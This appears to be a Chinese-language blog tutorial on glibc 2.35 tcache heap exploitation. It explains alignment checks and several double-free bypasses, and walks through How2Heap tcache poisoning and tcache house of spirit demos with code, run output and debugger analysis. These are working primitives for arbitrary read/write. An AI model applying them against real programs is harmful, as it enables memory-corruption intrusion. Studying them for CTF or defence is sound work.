除非特别说明,默认为glibc_2.35

TcacheBin Attack

根据源代码我们可以得知,高版本的glibc给tcachebin引入了检查机制,使得攻击没那么方便了,但正所谓道高一尺魔高一丈,没有攻不破的系统,只有不努力的黑客。tcache的检查机制主要有两个:对double free的检查和对chunk对齐的检查。前者的分析见TcacheBin存取chunk。这里对chunk对齐的机制进行溯源。

chunk对齐检查机制

tcache通过aligned_OK(e)函数来检查chunk对齐。在malloc.c第1322行有宏定义:

1
#define aligned_OK(m)  (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)

然后在sysdeps/generic/malloc-size.h里可以看到

1
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

在malloc-alignment.h里有

1
2
3
/* MALLOC_ALIGNMENT is the minimum alignment for malloc'ed chunks.  It must be a power of two at least 2 * SIZE_SZ, even on machines for which smaller alignments would suffice. It may be defined as larger than this though. Note however that code and data structures are optimized for the case of 8-byte alignment.  */
#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 * SIZE_SZ)

alignof函数就不看了,这里基本上可以看出来chunk的对齐要求是2*SIZE_SZ的倍数,在64位中具体是32的倍数。需要注意的是这里检查的地址是mem的地址而不是chunk的地址。所以在利用的时候,比如劫持chunk的fd进行任意地址读写时,要挑选符合对齐要求的地址。在2.31及之前的glibc版本不需要进行检查。

检查代码参考:

1
2
3
4
5
6
7
8
9
10
11
12
size_t stack_var[0x10];
size_t* target = NULL;

for(int i=0; i<0x10; i++)
{
if(((long)&stack_var[i] & 0xf) == 0)
{
target = &stack_var[i];
break;
}
}
assert(target != NULL);

地址对齐检查机制是从2.32版本开始的。

double free中key的绕过

方法一:破坏key

空闲chunk进入tcache时会被赋予key,从tcache取出时会被置空,以此区分该chunk是否在tcache中。如果程序中存在UAF漏洞或者堆溢出漏洞,我们就可以将key位置置空或者换个数字,这样就可以直接绕过_int_free的第一个if判断,下面的count和对齐检查直接跳过。

方法二:劫持size

tcache会根据chunk的size来计算bin索引,而chunk只会在对应的bin内进行比较。如果在第一次释放victim后,利用uaf或者溢出修改victim的size,那么第二次释放的时候_int_free就会去检查修改后的索引对应的bin里有没有victim,从而绕过了检查。

方法三:利用fastbin

假如现在我们希望可以double free victim这个内存块,那么我们可以先申请7个和victim一样大的内存块,然后将它们全部释放以填满tcache中对应的那条bin,这时候再释放掉victim就可以使其进入fastbin。
这时候申请一个一样大的内存块,因为tcache的优先级大于fastbin,这个chunk会从tcachebin里取,而bin中只有6个chunk且不包含victim,这时可以对victim进行第二次释放就可以使它同时存在于tcachebin和fastbin。
其实也可以直接填满tcachebin之后,直接在fastbin里进行double free,因为fastbin只会对链表头部的chunk进行检查,相对比较好绕过,只需要在两次释放中间释放一个无关chunk就行。当然这受限于程序允许我们创建的chunk个数。

方法四:house of botcake

这个方法和上一个方法有点像,但是是利用unsortedbin来实现。fastbin只能存0x80以下大小的chunk,并且想要取出来的话,需要先把tcachebin中的chunk取完才能轮得到fastbin,在一些自定义堆分配的菜单题里不太好用。利用过程如下:

  • 申请 7 个大小相同,大小大于 0x80 的 chunk,再申请三个,分别为 chunk A 和 chunkB 和 chunk C
  • 释放前 7 个和 chunk A,前面 7 个都会进入到 tcachebin 里面,chunk A 进入到 unsortedbin
  • 释放 chunk B,则 chunk B 会和 chunk A 合并
  • 申请一个与前七个一样大的chunk,空出一个位置来
  • 再次释放 chunk B,此时 B 同时存在与 unsortedbin 和 tcachebin
  • 利用时,修改完chunk B的fd指针之后,只需要申请一块稍微比chunk B大一点点的内存,就能把我们想要进行读写操作的地址malloc出来了。

攻击手段

tcache poisoning from How2Heap

演示代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
// disable buffering
//禁止缓冲区防止打扰到堆布局
setbuf(stdin, NULL);
setbuf(stdout, NULL);

//这里是为了寻找一个满足对齐要求的地址
size_t stack_var[0x10];
size_t *target = NULL;
// choose a properly aligned target address
for (int i = 0; i < 0x10; i++)
{
if (((long)&stack_var[i] & 0xf) == 0)
{
target = &stack_var[i];
break;
}
}
assert(target != NULL);

printf("The address we want malloc() to return is %p.\n", target);

/*从2.32版本开始,tcache引入了一个新的检查机制,申请chunk的时候,如果这个chunk尝试从tcache分配出来,则要检查tcache的counts数组成员在该bin下的大小是否为正数,即规定了assert (tcache->counts[tc_idx] > 0);所以如果要通过劫持fd构造fake chunk来达到任意地址读写的效果,tcachebin中已有的chunk数量必须符合最后我们要申请chunk的数量*/
printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);

printf("Freeing the buffers...\n");
free(a);
free(b);

/*注意LIFO原则*/
printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n",
sizeof(intptr_t), b, target);

// VULNERABILITY
// the following operation assumes the address of b is known, which requires a heap leak
/*这个地方麻烦一点。从2.32开始引入了fd加密机制,需要用到你要改写的chunk本身的mem地址。在实际利用中我们需要利用uaf等漏洞泄露chunk地址才能正确算出要覆盖的加密fd。*/
b[0] = (intptr_t)((long)target ^ (long)b >> 12);
// VULNERABILITY
printf("Now the tcache list has [ %p -> %p ].\n", b, target);

printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", target);

//申请第二块相同大小的chunk后就能从tcachebin中取出我们修改后伪造的chunk了
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");

assert((long)target == (long)c);
return 0;
}

运行结果
1
2
3
4
5
6
7
8
9
10
11
12
13
The address we want malloc() to return is 0x7fffffffddd0.
Allocating 2 buffers.
malloc(128): 0x5555555592a0
malloc(128): 0x555555559330
Freeing the buffers...
Now the tcache list has [ 0x555555559330 -> 0x5555555592a0 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0x555555559330
to point to the location to control (0x7fffffffddd0).
Now the tcache list has [ 0x555555559330 -> 0x7fffffffddd0 ].
1st malloc(128): 0x555555559330
Now the tcache list has [ 0x7fffffffddd0 ].
2nd malloc(128): 0x7fffffffddd0
We got the control
分析

首先申请两个chunk然后释放掉,让其进入tcachebin中。其中size为0x290的堆就是TcacheBin堆头。

申请2个chunk

释放2个chunk

bin链表

从bin链表可以得知,根据tcachebin先进后出的原则,当我们再申请相同大小的chunk的时候,会先分配0x9330的chunk1,再分配0x92a0处的chunk0。这里需要注意一个问题,在heap命令下显示的地址是chunk地址,但是在链表中存的地址是mem地址。

我们发现每个chunk的fd有点怪,这是因为在高版本有fd加密机制,pwndbg没有解密就直接打印出来了,所以看起来很奇怪。在劫持fd的时候我们也要传入一个加密后的fd,否则会劫持失败。

下一步就要修改chunk1的fd,这样在申请chunk0的时候我们就可以申请到我们想要到的地方,达成任意地址读写的目的。如果我们修改的是chunk0的fd,那修改的就是堆头的地址,这样会造成堆错误,并且没法利用程序的读写功能达到我们的目的。

1
b[0] = (intptr_t)((long)target ^ (long)b >> 12);

我们从malloc得到的指针是mem的地址,也就是user_data处,所以指针指向的地址就是储存fd的地方,如果有UAF或者堆溢出漏洞,我们就可以修改chunk的fd。fd加密机制用到了mem地址,所以修改fd的前提是有UAF或者能泄露堆地址。这里有另外一个需要注意的地方,tcachebin链表中的地址是mem地址,所以我们想要读写的地址直接就能写进fd,如果是fastbin,它的链表中的地址是chunk地址,那就需要将target-0x10写进fastbin的fd。

fd修改后的链表

可以看到链表已经被修改了,接下来申请的第二个chunk就是在栈上的地址了。

tcache house of spirit from How2Heap

演示代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
setbuf(stdout, NULL);

printf("Calling malloc() once so that it sets up its memory.\n");
malloc(1);

printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
unsigned long long *a; //pointer that will be overwritten
unsigned long long fake_chunks[10]; //fake chunk region这是一个chunk

printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

fake_chunks[1] = 0x40; // this is the size

printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);

a = &fake_chunks[2];

printf("Freeing the overwritten pointer.\n");
free(a);

printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
void *b = malloc(0x30);
printf("malloc(0x30): %p\n", b);

assert((long)b == (long)&fake_chunks[2]);
}
运行结果
1
2
3
4
5
6
7
Calling malloc() once so that it sets up its memory.
Let's imagine we will overwrite 1 pointer to point to a fake chunk region.
This region contains one fake chunk. It's size field is placed at 0x7fffffffde08
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7fffffffde08.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7fffffffde08, which will be 0x7fffffffde10!
malloc(0x30): 0x7fffffffde10
分析

这种攻击手段在非堆段的地址伪造了一个chunk,实现了任意地址读写的效果。首先一定要先申请一个chunk以满足对bin中chunk count的检查。然后要修改需要劫持的fake chunk中的size字段。假如我们要修改0x10处的数值,根据chunk的结构不难知道,我们要构造的fake chunk的地址在0x00,那么size字段在0x08处。需要注意的是tcachebin链表中的地址存的是mem地址,所以释放的时候要释放0x10处。注意这个chunk的地址需满足对齐要求。

size的限制则是不能小于最小size,不能大于最大size(0x410)并且应为0x10的倍数。进入tcachebin时,_int_free不会对PREV_INUSE进行检查,所以size写0x40也行写0x41也行,但是对A和M标志位会检查,如果其值为1时,则会报错invalid pointer。要修改size字段的前提是程序对目标地址本来就能写或者有溢出刚好可以修改size字段,至少要有off by one;如果是要修改堆上地址的话,有uaf也许也能成功劫持。

house_of_spirit标志位检查报错

目标地址伪造前:

未修改的fake_chunk

目标地址修改size:

修改size后的fake_chunk

目标地址被释放后:

释放后的fake_chunk

如果可以成功被释放,说明fake chunk成功绕过检查了。这时候tcachebin中链表就会存有目标地址,下一次申请一个size大小的chunk的时候就可以申请到这一块地址,实现读写。

house_of_spirit劫持成功后的bin链表

1
/*To be continued...*/

参考阅读:
- tcache中的double free
- xswlhhh爷的博客!

⬆︎TOP